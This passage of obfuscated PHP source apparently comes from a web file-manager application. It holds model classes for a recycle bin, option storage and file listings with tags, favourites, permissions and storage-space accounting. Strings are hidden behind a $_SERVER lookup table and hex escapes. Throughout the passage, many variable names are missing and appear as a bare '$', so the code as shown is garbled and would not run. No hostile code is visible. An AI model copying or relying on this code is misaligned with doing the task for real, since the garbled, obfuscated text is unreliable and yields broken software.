$ź) { $ź = $ź . $[12]; if (!isset($[$ź])) { continue; } if ($[$[475]] == $[$ź][$[475]]) { $[$ź][$[78]] += $[$[78]]; } } } $왥 = array(); foreach ($ as $) { if ($[$[78]] == $[$[2210]]) { continue; } $왥[] = array($[183], $[$[183]], $[78], $[$[78]]); } $this->saveAll($왥); } public function userSpaceReset($巩 = false) { $ =& $_SERVER[ʇ]; $ˎ = $this->where(array($[180] => self::TYPE_USER, $[540] => $巩, $[455] => 0))->sum($[78]); $ˎ = !$ˎ || $ˎ <= 0 ? 0 : $ˎ; Model($[548])->userEdit($巩, array($[1888] => $ˎ)); } public function targetSpaceUpdate($ǍĽ, $) { $֪ =& $_SERVER[ʇ]; if (!$) { return; } if (!in_array($ǍĽ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $҂ = $this->targetSpaceSize($ǍĽ, $); if ($ǍĽ == self::TYPE_USER) { Model($֪[548])->userEdit($, array($֪[1888] => $҂)); } else { if ($ǍĽ == self::TYPE_GROUP) { Model($֪[556])->groupEdit($, array($֪[1888] => $҂)); } } } public function targetSpaceSize($ª, $Ѻ쟲) { $Ѓ =& $_SERVER[ʇ]; $ = 0; $ˇ = $this->targetSourceRoot($ª, $Ѻ쟲, !0); foreach ($ˇ as $) { if (!$) { continue; } $ += floatval($[$Ѓ[78]]); $ = array($Ѓ[622] => array($Ѓ[582], $Ѓ[565] . $[$Ѓ[183]] . $Ѓ[583])); $ = Model($Ѓ[473])->field($Ѓ[461])->where($)->select(); $ = array_to_keyvalue($, $Ѓ[12], $Ѓ[183]); $ = array_unique(array_filter($)); if ($) { $ = array($Ѓ[461] => array($Ѓ[462], $)); $ += floatval($this->where($)->sum($Ѓ[78])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($Ρ) { return $this->fileTypeProfile($Ρ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($͎, $) { $䊩ј =& $_SERVER[ʇ]; $ = $䊩ј[2211] . $͎ . $䊩ј[11] . $; $ = Cache::get($); if ($) { return $; } $Ϸ = array($䊩ј[616] => 0); if ($͎ != !1) { $Ϸ[$䊩ј[540]] = $͎; $Ϸ[$䊩ј[180]] = $; } $ˀ = array(); $ˀ[$䊩ј[2212]] = array($䊩ј[2213] => LNG($䊩ј[2212]), $䊩ј[2214] => $this->where($Ϸ)->count(), $䊩ј[587] => $this->where($Ϸ)->sum($䊩ј[78])); $Dz = KodIO::fileTypeList(); foreach ($Dz as $ => $) { $Ϸ[$䊩ј[456]] = $this->fileTypeWhere($); $ˀ[$] = array($䊩ј[2213] => $[$䊩ј[32]], $䊩ј[2214] => $this->where($Ϸ)->count(), $䊩ј[587] => $this->where($Ϸ)->sum($䊩ј[78])); } Cache::set($, $ˀ, 1200); return $ˀ; } public function fileNameExist($Ÿߓ, $) { $ځ =& $_SERVER[ʇ]; $غ۽ = $this->field($ځ[2215])->where(array($ځ[182] => $Ÿߓ, $ځ[32] => $, $ځ[475] => 0))->find(); return is_array($غ۽) ? $غ۽[$ځ[183]] : !1; } public function childList($ߎ) { $͐ս =& $_SERVER[ʇ]; $ޗ = $͐ս[2188] . $ߎ; if (isset(self::$cacheChildList[$ޗ])) { return self::$cacheChildList[$ޗ]; } $ = array($͐ս[182] => intval($ߎ), $͐ս[475] => 0); $˂ = $this->where($)->select(); $˂ = $˂ ? $˂ : array(); self::$cacheChildList[$ޗ] = $˂; foreach ($˂ as $) { $ޗ = $͐ս[503] . $[$͐ս[183]]; self::$cacheSourceInfo[$ޗ] = $; } return $˂; } public function fileNameAuto($Ϭ, $蕠, $ŧ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[ʇ]; $Æ = get_path_ext($蕠); $Ì = $Æ ? basename($蕠, $[10] . $Æ) . $[2216] . $Æ : $蕠 . $[430]; $ں = array($[182] => $Ϭ, $[475] => 0, $[32] => array($[429], $Ì)); $ = $this->field($[32])->where($ں)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $蕠, $ŧ, $); } public function fileNameAutoGet($, $, $΄, $ʷ) { $ =& $_SERVER[ʇ]; if ($΄ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ʷ && $΄ != REPEAT_RENAME_FOLDER) { return $; } if ($΄ == REPEAT_SKIP) { return !1; } $褉 = $[10] . get_path_ext($); $褉 = $褉 == $[10] || $ʷ ? $[12] : $褉; for ($݄Ў = 1; $݄Ў <= count($) + 1; $݄Ў++) { $ڐ = substr($, 0, strlen($) - strlen($褉)); $ = $ڐ . "\50{$݄Ў}\51{$褉}"; if (!in_array_not_case($, $)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\163\x6f\165\162\x63\x65\x5f\162\145\x63\x79\x63\x6c\145"; protected $dataAuto = array(array("\143\x72\145\x61\164\145\x54\x69\155\145", "\x74\151\155\145", "\x69\x6e\163\x65\162\x74", "\x66\165\x6e\143\x74\x69\157\x6e")); public function listData($ = false) { $ݠ =& $_SERVER[ʇ]; $ = $ ? $ : USER_ID; $Ҫ = $this->where(array($ݠ[1692] => $))->select(); return array_to_keyvalue($Ҫ, $ݠ[12], $ݠ[183]); } public function moveToRecycle($љ) { $ =& $_SERVER[ʇ]; $߳ = Model($[1380]); $브 = $߳->sourceInfo($љ); if (!$브 || $브[$[475]] == $[90]) { return; } $ݛ = array($[461] => $љ, $[1692] => USER_ID, $[618] => $브[$[180]], $[619] => $브[$[540]], $[622] => $브[$[555]]); $this->add($ݛ); $this->recycleMove($љ, 1); if ($브[$[455]] == $[90]) { $ = array($[622] => array($[582], $브[$[555]] . $љ . $[583])); $߳->where($)->setField($[475], 1); } } public function clear() { $this->remove(!1); } public function remove($ˌ = false, $ = false) { $Ɂ =& $_SERVER[ʇ]; $ = $ ? $ : USER_ID; $ߙ = Model($Ɂ[1380]); $ = $this->listData($); $ˌ = $ˌ === !1 ? !1 : $ˌ; $ = array(); foreach ($ as $) { if ($ˌ != !1 && !in_array($, $ˌ)) { continue; } $㰹 = $ߙ->sourceInfo($); $ߙ->remove($, !1); $ = $㰹[$Ɂ[180]] . $Ɂ[11] . $㰹[$Ɂ[540]]; $[$] = array($Ɂ[618] => $㰹[$Ɂ[180]], $Ɂ[540] => $㰹[$Ɂ[540]]); $this->where(array($Ɂ[183] => $))->delete(); } foreach ($ as $僴) { $ߙ->targetSpaceUpdate($僴[$Ɂ[180]], $僴[$Ɂ[540]]); } } public function restore($ʻð = false) { $ݗ = $this->listData(); $this->_restoreSource($ݗ, $ʻð); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($׆) { $this->_restoreSource(array($׆), array($׆)); } private function _restoreSource($떉, $ҟ) { $ =& $_SERVER[ʇ]; $Έ = Model($[1380]); $ҟ = $ҟ == !1 ? !1 : $ҟ; if (!$떉) { return !0; } $繻 = array(); foreach ($떉 as $) { if ($ҟ != !1 && !in_array($, $ҟ)) { continue; } $ = $Έ->sourceInfo($); $ޝ = $Έ->sourceInfo($[$[182]]); if ($ޝ[$[475]] == $[90]) { continue; } $Έ->lockMoveStart($); $this->recycleMove($, 0); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $Έ->where($)->setField($[475], 0); $this->restoreFolderChildren($, $떉); } $this->where(array($[183] => $))->delete(); $Έ->folderSizeReset($[$[182]]); $繻[] = $[$[182]]; if ($[$[455]] == $[90]) { $繻[] = $; } $Έ->lockMoveEnd($); } $Έ->updateModifyTime($繻); } private function restoreFolderChildren($, $퉭) { $杼 =& $_SERVER[ʇ]; $ߥ = Model($杼[1380]); $˃ = array($杼[183] => array($杼[7], array())); foreach ($퉭 as $Ò) { if ($Ò == $) { continue; } if (!$ߥ->isParentOf($, $Ò)) { continue; } $ʉˍ = $ߥ->sourceInfo($Ò); if ($ʉˍ[$杼[455]] == $杼[90]) { $˃[] = array($杼[622] => array($杼[582], $ʉˍ[$杼[555]] . $Ò . $杼[583])); } else { $˃[$杼[183]][1][] = $Ò; } } if (!$˃[$杼[183]][1]) { unset($˃[$杼[183]]); } if (!$˃) { return; } if (is_array($˃[$杼[183]]) && is_array($˃[$杼[183]][1])) { $˃[$杼[183]][1] = array_unique($˃[$杼[183]][1]); } $˃[$杼[1047]] = $杼[1997]; $ߥ->where($˃)->setField($杼[475], 1); } private function recycleMove($, $־ߖ = 1) { $͐ק =& $_SERVER[ʇ]; $ = Model($͐ק[1380]); $Ѐ = Model($͐ק[2217]); $ = array($͐ק[183] => $); if ($־ߖ) { $->where($)->setField($͐ק[475], 1); $Ѐ->eventRecycle($, $͐ק[2218]); } else { $Ĉ = $->where($)->find(); $ = $Ĉ[$͐ק[455]] == $͐ק[90]; $Ϫ = $->fileNameAuto($Ĉ[$͐ק[182]], $Ĉ[$͐ק[32]], REPEAT_RENAME_FOLDER, $); if ($Ϫ != $Ĉ[$͐ק[32]]) { $->rename($, $Ϫ); } $->where($)->setField($͐ק[475], 0); $Ѐ->eventRecycle($, $͐ק[2219]); } } } goto C; cȒٖ: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($͈ = false, $ = '', $ = false) { $٬ =& $_SERVER[ʇ]; $ᙋ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($ᙋ)) { $ᙋ = array_merge($, $ᙋ); return $͈ ? isset($ᙋ[$͈]) ? $ᙋ[$͈] : null : $ᙋ; } $Ԛ = $this->filterWhere(array($٬[33] => $)); $ᙋ = $this->where($Ԛ)->select(); $ᙋ = array_to_keyvalue($ᙋ, $٬[96], $٬[420]); foreach ($ᙋ as $ => $ſ̏) { if ($ || in_array($, $this->jsonField)) { $ᙋ[$] = json_decode($ſ̏, !0); } } $this->cacheSet($, $ᙋ); $ᙋ = array_merge($, $ᙋ); return $͈ ? $ᙋ[$͈] : $ᙋ; } public function set($, $߲ = false, $濾 = '') { $ =& $_SERVER[ʇ]; $this->cacheRemove($濾); $ȹ = array(); $ = is_array($) ? $ : array($ => $߲); foreach ($ as $ͅ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $); $ = self::textEncode($); $ = array($[33] => $濾, $[96] => $ͅ, $[420] => $); $ȹ[] = $this->filterWhere($); } if (!$ȹ) { return !0; } $ = $this->cacheKey($[446]); CacheLock::lock($); $߆ = $this->addAll($ȹ, array(), !0); CacheLock::unlock($); return $߆; } protected function optionDefault($ɵ = '') { return !1; } public function setDeep($Ճ, $ĉ = false, $ʯ = '') { $ = explode($_SERVER[ʇ][10], $Ճ); $Ž = $this->get(); array_set_value($Ž, $Ճ, $ĉ); $this->set($[0], $Ž[$[0]], $ʯ); } public function remove($ݸ, $ = '') { $Ѷ =& $_SERVER[ʇ]; $this->cacheRemove($); $厝 = $this->filterWhere(array($Ѷ[96] => $ݸ, $Ѷ[33] => $)); if (is_null($ݸ)) { unset($厝[$Ѷ[96]]); } return $this->where($厝)->delete(); } public function cacheSet($, $־ = false) { return Cache::set($this->cacheKey($), $־); } public function cacheGet($ſ؝) { return Cache::get($this->cacheKey($ſ؝)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($ɪö) { return $ɪö; } protected function cacheKey($˳) { return $˳; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\137\x73\157\x75\x72\143\x65"; protected $tableMeta = array("\x74\141\x62\154\x65\116\x61\x6d\145" => "\x69\157\x5f\163\157\165\x72\x63\x65\137\x6d\145\x74\141", "\155\x65\164\141\106\x69\145\x6c\144" => "\x73\x6f\165\162\143\x65\x49\x44"); protected $dataAuto = array(array("\155\x6f\144\x69\x66\x79\x54\151\155\145", "\164\x69\x6d\145", "\x69\x6e\163\x65\162\x74", "\146\x75\x6e\x63\164\x69\157\x6e"), array("\x63\x72\145\141\x74\145\x54\x69\x6d\145", "\x74\x69\155\145", "\x69\x6e\163\145\162\164", "\x66\x75\x6e\143\x74\x69\x6f\x6e"), array("\x76\151\145\x77\124\151\x6d\x65", "\164\x69\155\x65", "\151\x6e\163\145\x72\x74", "\x66\x75\x6e\x63\x74\x69\x6f\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($Ԙ) { return $this->listSource(array($_SERVER[ʇ][447] => $Ԙ)); } public function typeName($) { static $ǘ = array(self::TYPE_SYSTEM => "\163\x79\163\x74\x65\155", self::TYPE_USER => "\165\163\x65\162", self::TYPE_GROUP => "\147\x72\157\165\160"); return $ǘ[$ . $_SERVER[ʇ][12]]; } public function sourceListInfo($, $ۍ = false) { $ =& $_SERVER[ʇ]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ێ = $this->where(array($[183] => array($[7], $)))->select(); $this->_listDataApply($ێ, $ۍ); return array_to_keyvalue($ێ, $[183]); } public function pathInfoFilter(&$и) { $ =& $_SERVER[ʇ]; static $ˌ = false; static $ = false; static $ = false; if (!$ˌ) { $ = $[448]; $ .= $[449]; $ .= $[450]; $֗ = $[451]; $Ɍ = explode($[50], $֗); $ˌ = explode($[50], $); $ = array(); foreach ($ˌ as $µ) { if (in_array($µ, $Ɍ)) { continue; } $[] = $µ; } $ = explode($[50], $[452]); } foreach ($ as $Þ) { if (isset($и[$Þ])) { $и[$Þ] = intval($и[$Þ]); } } $и[$[86]] = $[453] . $и[$[183]] . $[454]; $и[$[33]] = $и[$[455]] == 1 ? $[77] : $[216]; $и[$[180]] = $this->typeName($и[$[180]]); if ($и[$[455]] != 1) { $и[$[177]] = $и[$[456]]; unset($и[$[456]]); } $ = $ˌ; if (isset($и[$[457]]) && $и[$[457]][$[458]] == -1) { $ = $; } $и = array_field_key($и, $); return $и; } public function listUserFav() { $ =& $_SERVER[ʇ]; $ = Model($[459])->listData(); $ = array_filter_by_field($, $[33], $[460]); $ = array_to_keyvalue($, $[12], $[86]); if ($) { $ = $this->listSource(array($[461] => array($[462], $))); } $ = array_to_keyvalue($[$[415]], $[183]); foreach ($ as &$ųǨ) { $ųǨ = array($[463] => $ųǨ[$[445]], $[464] => $ųǨ[$[32]], $[465] => $ųǨ[$[86]], $[466] => $ųǨ[$[33]], $[467] => $ųǨ[$[217]], $[468] => $ųǨ[$[87]]); if ($ųǨ[$[33]] == $[460] && $[$ųǨ[$[86]]]) { $ųǨ[$[89]] = $[$ųǨ[$[86]]]; } } unset($ųǨ); return $; } public function listUserTag($) { $ =& $_SERVER[ʇ]; if ($ && !is_array($)) { $ = array($); } $˫ƻ = Model($[469])->listData(); $Ř = array(); $ = array(); foreach ($˫ƻ as $з) { $ѫ = $з[$[86]]; if (!$ѫ) { continue; } if (!isset($[$ѫ])) { $[$ѫ] = array(); } $[$ѫ][] = $з[$[470]]; $Ř[$з[$[86]]] = $з; } $ܷ = array(); $氪 = array(); $ڈ = array(); foreach ($ as $ => $ů) { $ = !0; if (!$) { $ܷ[] = $; continue; } foreach ($ as $) { if (!in_array($, $ů)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = $Ř[$]; $ = array($[32] => $[$[32]], $[86] => $[$[86]], $[33] => $[$[33]], $[89] => array($[471] => 1), $[218] => !0); if ($[$[33]] == $[216]) { $ڈ[] = $; } if ($[$[33]] == $[77]) { $氪[] = $; } continue; } $ܷ[] = $; } if ($ܷ) { $ɖ = $this->listSource(array($[461] => array($[462], $ܷ))); } $ɖ = $ɖ ? $ɖ : array($[84] => array(), $[85] => array()); $ɖ[$[84]] = array_merge($ɖ[$[84]], $氪); $ɖ[$[85]] = array_merge($ɖ[$[85]], $ڈ); if (isset($ɖ[$[412]]) && count($ܷ) == $ɖ[$[412]][$[413]]) { return $ɖ; } $ʹ = array(); $ = array_to_keyvalue($ɖ[$[84]], $[12], $[183]); $ = array_to_keyvalue($ɖ[$[85]], $[12], $[183]); $ߎ = array_merge($, $); foreach ($ܷ as $ѫ) { if (!in_array($ѫ, $ߎ)) { $ʹ[] = $ѫ; } } if ($ʹ) { Model($[472])->removeBySource($ʹ); } return $ɖ; } public function listUserRecycle() { $Ψ =& $_SERVER[ʇ]; $Œ = Model($Ψ[473])->listData(); if (!$Œ) { return array(); } $ = array($Ψ[461] => array($Ψ[462], $Œ), $Ψ[474] => 1); return $this->listSource($); } public function listSource($⟪, $䭎 = 3000, $ = false) { $̹ =& $_SERVER[ʇ]; if (!isset($⟪[$̹[475]])) { $⟪[$̹[475]] = 0; } if (isset($⟪[$̹[182]]) && $⟪[$̹[182]] == $̹[214]) { $⟪[$̹[456]] = array($̹[377], $̹[476]); } $񳌃 = $̹[477]; $Ֆ = $this->field($񳌃)->_makeOrder()->where($⟪)->selectPage($䭎); $this->_listPageCheck($Ֆ, $񳌃, $⟪); $this->_listDataApply($Ֆ[$̹[415]], $); $this->_listMake($Ֆ); return $Ֆ; } private function _listPageCheck(&$, $, $پ) { $ࢀ =& $_SERVER[ʇ]; if (!is_array($[$ࢀ[412]])) { return; } $ = $[$ࢀ[412]]; if ($[$ࢀ[414]] <= 1) { return; } if ($[$ࢀ[413]] >= 100000) { return; } if (Model($ࢀ[478])->get($ࢀ[479]) != $ࢀ[480]) { return; } $ = str_replace(array($ࢀ[53], $ࢀ[388], $ࢀ[248]), $ࢀ[12], $); $ = $ࢀ[481] . str_replace($ࢀ[50], $ࢀ[482], $) . $ࢀ[483]; $ = $ࢀ[484]; $ = $ . $ࢀ[485]; $ = $[$ࢀ[409]] * ($[$ࢀ[399]] - 1) . $ࢀ[50] . $[$ࢀ[409]]; $ǫ = $this->_makeOrder(!0); $Ǣǀ = $ࢀ[481] . str_replace($ࢀ[50], $ࢀ[482], $ǫ[0]); if (strpos($Ǣǀ, $ࢀ[486])) { $Ǣǀ = str_replace($ࢀ[486], $ࢀ[487], $Ǣǀ); } else { $Ǣǀ .= $ࢀ[488] . $ǫ[1]; } $ = array(); foreach ($پ as $܅ => $) { $[$ࢀ[481] . $܅] = $; } $this->alias($ࢀ[489])->field($)->limit($)->order($Ǣǀ); $ = $this->join($)->where($)->select(); if ($) { $[$ࢀ[415]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[ʇ]; $丟 = Model($[490])->get($[491]); $Ͱ = Model($[490])->get($[492]); $ = array($[493] => $[494], $[495] => $[496]); $ = array($[32] => $[32], $[78] => $[78], $[177] => $[456], $[497] => $[497], $[498] => $[499], $[217] => $[217], $[87] => $[87]); $ = Input::get($[500], $[7], $丟, array_keys($)); $ = Input::get($[501], $[7], $Ͱ, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($))) { $ = $[493]; } if ($ == $[32]) { } $ߘ = $[502] . $[$] . $[53] . $[$]; $ߘ = rtrim(trim($ߘ), $[50]); if ($) { return array($ߘ, $[$]); } return $this->order($ߘ); } protected function _listDataApplyItem($ɽǤ, $ = false) { $ = array($ɽǤ); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$ڗ, $ؿ = false) { $ =& $_SERVER[ʇ]; if (!$ڗ) { $ڗ = array(); return; } $ᚧ = array_to_keyvalue($ڗ, $[12], $[183]); $ᚧ = array_unique($ᚧ); $this->_listSourceCache($ڗ); if (!$ؿ) { $this->_listAppendMeta($ڗ, $ᚧ); $this->_listAppendFileMeta($ڗ, $ᚧ); $this->_listAppendChildren($ڗ, $ᚧ); } $this->_listAppendPath($ڗ); $this->_listAppendAuth($ڗ); $this->_listAppendSourceInfo($ڗ, $ᚧ); $this->_listAppendUser($ڗ); $this->_listFilterInfo($ڗ, $ؿ); $this->_listAppendAuthSecret($ڗ); } protected function _listSourceCache($雀ٛ) { $ =& $_SERVER[ʇ]; foreach ($雀ٛ as $߲Ė) { self::$cacheSourceInfo[$[503] . $߲Ė[$[183]]] = $߲Ė; } } protected function _listFilterInfo(&$ה, $ = false) { $򦫒 =& $_SERVER[ʇ]; foreach ($ה as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$򦫒[504] . intval($) . $򦫒[432] . $[$򦫒[183]]] = $; } unset($); } protected function _listMake(&$򘠖) { $ڈ =& $_SERVER[ʇ]; $򘠖[$ڈ[84]] = array(); $򘠖[$ڈ[85]] = array(); foreach ($򘠖[$ڈ[415]] as $) { $蝧 = $[$ڈ[455]] == 1 ? $ڈ[84] : $ڈ[85]; $򘠖[$蝧][] = $; } unset($򘠖[$ڈ[415]]); } protected function _listAppendMeta(&$ü, $) { $ =& $_SERVER[ʇ]; $ = array($[461] => array($[462], $)); $ʺ = Model($[505])->field($[506])->where($)->select(); if (!$ʺ) { return; } $ = array($[507], $[508], $[487]); $ᖾ = array(); foreach ($ʺ as $) { if (!isset($ᖾ[$[$[183]]])) { $ᖾ[$[$[183]]] = array(); } if (in_array($[$[96]], $)) { continue; } $ᖾ[$[$[183]]][$[$[96]]] = $[$[420]]; } foreach ($ü as &$) { $[$[509]] = !1; if (isset($ᖾ[$[$[183]]])) { $[$[509]] = $ᖾ[$[$[183]]]; } if ($this->fileIsLock($) && $[$[457]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[457]][$[458]] = AuthModel::authDisable($[$[457]][$[458]], $); $[$[457]][$[510]][$[457]] = $[$[457]][$[458]]; } } unset($); } protected function _listAppendFileMeta(&$͜, $) { $ =& $_SERVER[ʇ]; $ = array_to_keyvalue($͜, $[12], $[511]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[512] => array($[462], $)); $ՙŪ = $[513]; $ = Model($[514])->field($ՙŪ)->where($)->select(); $ = array_to_keyvalue($, $[511]); $Ȏ = Model($[515])->field($[516])->where($)->select(); $Ȏ = $Ȏ ? $Ȏ : array(); $ܑ = array(); foreach ($Ȏ as $) { if (!isset($ܑ[$[$[511]]])) { $ܑ[$[$[511]]] = array(); } $ܑ[$[$[511]]][$[$[96]]] = $[$[420]]; } foreach ($͜ as &$׊) { $ = $׊[$[511]]; if (!$ || !is_array($[$])) { continue; } $ǰ썠 = $[$]; $ǰ썠[$[78]] = $׊[$[78]]; $ǰ썠[$[32]] = $׊[$[32]]; if (!$ǰ썠[$[517]]) { Model($[514])->fileMd5Check($ǰ썠); } if (!isset(self::$cacheFileInfo[$[518] . $])) { self::$cacheFileInfo[$[518] . $] = array_merge(array(), $ǰ썠); } unset($[$][$[86]]); $۾ = is_array($ܑ[$]) ? $ܑ[$] : array(); $׊[$[519]] = array_merge($۾, $[$]); if (isset($׊[$[519]][$[173]])) { $׊[$[173]] = json_decode($׊[$[519]][$[173]], !0); unset($׊[$[519]][$[173]]); } } unset($׊); } protected function _listAppendSourceInfo(&$, $͆) { $خ =& $_SERVER[ʇ]; $ʰ = Model($خ[520])->listData(); $Ϟ = Model($خ[469])->listData(); $ = Model($خ[459])->listData(); $́ = Model($خ[521])->listSimple(); $뎓 = array_to_keyvalue($ʰ, $خ[445]); $ރ = array_to_keyvalue_group($Ϟ, $خ[86], $خ[470]); $º = array_to_keyvalue($, $خ[86]); $ = array_to_keyvalue_group($́, $خ[183]); foreach ($ as &$) { $[$خ[89]] = array($خ[522] => 0, $خ[523] => 0, $خ[524] => 0); if (isset($º[$[$خ[183]]])) { $[$خ[89]][$خ[525]] = 1; $[$خ[89]][$خ[526]] = $º[$[$خ[183]]][$خ[32]]; } if ($ރ && $뎓 && isset($ރ[$[$خ[183]]])) { $[$خ[89]][$خ[527]] = array(); foreach ($ރ[$[$خ[183]]] as $) { $پ = $뎓[$]; $[$خ[89]][$خ[527]][] = array($خ[528] => $پ[$خ[445]], $خ[464] => $پ[$خ[32]], $خ[529] => $پ[$خ[530]]); } } if ($ && isset($[$[$خ[183]]])) { $[$خ[89]][$خ[531]] = array(); foreach ($[$[$خ[183]]] as $Ȩ) { $Ӛ = $خ[532]; if ($Ȩ[$خ[533]] == $خ[90]) { $Ӛ .= $خ[534]; } $[$خ[89]][$خ[531]] = array_field_key($Ȩ, explode($خ[50], $Ӛ)); } } } unset($); return $; } protected function _listAppendChildren(&$, $̂) { $б =& $_SERVER[ʇ]; $ѮÈ = array(); $ = array($б[225] => 0, $б[226] => 0); foreach ($ as &$) { if (!$[$б[455]]) { continue; } $ѮÈ[] = $[$б[183]]; } unset($); if (!$ѮÈ) { return; } $ = array($б[182] => array($б[7], $ѮÈ), $б[475] => 0); $て = array($б[182], $б[455], $б[535] => $б[536]); $ː = $this->field($て)->where($)->group($б[537])->select(); $攇 = array(); foreach ($ː as $) { $э = $[$б[182]]; $ܿ = $[$б[455]] == $б[90] ? $б[226] : $б[225]; if (!isset($攇[$э])) { $攇[$э] = array($б[225] => 0, $б[226] => 0); } $攇[$э][$ܿ] += $[$б[536]]; } foreach ($ as &$) { if (!$[$б[455]]) { continue; } $Ɲҧ = is_array($攇[$[$б[183]]]) ? $攇[$[$б[183]]] : $; $[$б[226]] = $Ɲҧ[$б[226]]; $[$б[225]] = $Ɲҧ[$б[225]]; unset($[$б[456]]); } unset($); } protected function _listAppendAuth(&$) { $ =& $_SERVER[ʇ]; $ = array(); foreach ($ as $˽) { if ($˽[$[180]] == self::TYPE_GROUP) { $[] = $˽[$[183]]; } } if (!$) { return; } $Ǧ = array_to_keyvalue($, $[183]); $ꃁ = Model($[538])->getSourceList($, $Ǧ); $ = KodUser::isRoot(); foreach ($ as $ => &$˽) { $˽[$[457]] = $ꃁ[$˽[$[183]]]; if (!$˽[$[457]] && $˽[$[180]] == self::TYPE_GROUP) { $˽[$[457]] = Action($[539])->pathGroupAuthMake($˽[$[540]]); if (!$˽[$[457]] && !$) { $˽[$[219]] = !1; $˽[$[218]] = !1; } } if ($˽[$[457]]) { $˽[$[219]] = AuthModel::authCheckEdit($˽[$[457]][$[458]]); $˽[$[218]] = AuthModel::authCheckView($˽[$[457]][$[458]]); } $this->groupPathDisplay($˽); } unset($˽); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[ʇ]; if (Model($[478])->get($[541]) != $[90]) { return; } static $ = false; if (!$) { $߲ = Model($[542]); $ = Model($[543]); $ = $->listData(); $ = array_to_keyvalue($, $[183]); $ = json_decode(Model($[478])->get($[544]), !0); $ = array_to_keyvalue($, $[445]); foreach ($ as $ => $ɪ) { $ = $[$ɪ[$[545]]]; if (!$) { $->remove($ɪ[$[445]]); unset($[$]); continue; } $ = $߲->listData($[$[457]]); if (!$) { $->remove($ɪ[$[445]]); unset($[$]); continue; } $ɪ[$[457]] = $; $ɪ[$[546]] = $; $ɪ[$[547]] = Model($[548])->getInfoSimpleOuter($ɪ[$[497]]); $[$] = $ɪ; } } $ = USER_ID; $ӆ = array(); $휑 = $this->_listAppendPath($ӆ, !0); foreach ($ as $ => &$ɪ) { if (!is_array($ɪ[$[457]])) { continue; } if ($ɪ[$[180]] != $[549]) { continue; } if (isset($[$ɪ[$[183]]])) { $ۍ = $[$ɪ[$[183]]]; if (!is_array($ɪ[$[509]])) { $ɪ[$[509]] = array(); } $ɪ[$[509]][$[550]] = $ۍ[$[545]]; $ɪ[$[457]][$[551]] = $ۍ; $ɪ[$[457]][$[552]] = $ɪ[$[553]]; $ɪ[$[457]][$[554]] = $[90]; if ($ۍ[$[497]] != $) { $ɪ[$[457]][$[458]] = $ɪ[$[457]][$[458]] & $ۍ[$[457]][$[457]]; } continue; } $ = $this->parentLevelArray($ɪ[$[555]]); $ٽ = array_reverse($); foreach ($ٽ as $҉ => $) { if (!isset($[$])) { continue; } $ۍ = $[$]; $ɪ[$[457]][$[551]] = $ۍ; if ($ۍ[$[497]] != $) { $ɪ[$[457]][$[458]] = $ɪ[$[457]][$[458]] & $ۍ[$[457]][$[457]]; } $ = $[12]; $ = count($) - $҉; for ($¿Ј = 0; $¿Ј < $; $¿Ј++) { if (!isset($휑[$[$¿Ј]])) { $ = $[12]; break; } $ = $ . rtrim($휑[$[$¿Ј]], $[8]) . $[8]; } $ɪ[$[457]][$[552]] = rtrim($, $[8]) . $[8]; break; } } unset($ɪ); } public function groupPathDisplay(&$) { $ɰ =& $_SERVER[ʇ]; if ($[$ɰ[180]] != self::TYPE_GROUP) { return; } $ = Model($ɰ[556])->getInfo($[$ɰ[540]]); $ = $this->parentLevelArray($[$ɰ[555]]); $Ū = $ɰ[12]; foreach ($ as $) { $ɕ = Model($ɰ[556])->getInfo($); $Ū .= $ɕ[$ɰ[89]][$ɰ[183]] . $ɰ[50]; } $[$ɰ[557]] = $[$ɰ[182]]; $[$ɰ[558]] = $[$ɰ[555]]; $[$ɰ[559]] = $[$ɰ[560]]; $[$ɰ[561]] = $Ū . $[$ɰ[89]][$ɰ[183]]; } protected function _listAppendPath(&$ڹ, $ĘӰ = false) { $Ԭ =& $_SERVER[ʇ]; static $ = array(); $ = array(); $ = array(); if ($ĘӰ) { return $; } foreach ($ڹ as &$) { $ = $[$Ԭ[183]]; if ($[$Ԭ[455]] == $Ԭ[90] && $[$Ԭ[182]] != 0) { $[$] = $[$Ԭ[32]]; } if ($[$Ԭ[455]] == $Ԭ[90] && $[$Ԭ[182]] == 0) { $[$] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$Ԭ[555]]])) { continue; } $[$[$Ԭ[555]]] = !0; $Ժ = $this->parentLevelArray($[$Ԭ[555]]); foreach ($Ժ as $ۈ => $ё) { if (isset($[$ё])) { continue; } if ($ۈ == 0) { $[$ё] = $this->_listAppendPathRoot($, $Ժ); } if ($ۈ != 0) { $[] = $ё; } } } unset($); $ = array_unique($); if (count($) > 0) { $ˀ = array($Ԭ[461] => array($Ԭ[462], $)); if (count($) == 1) { $ԡ = 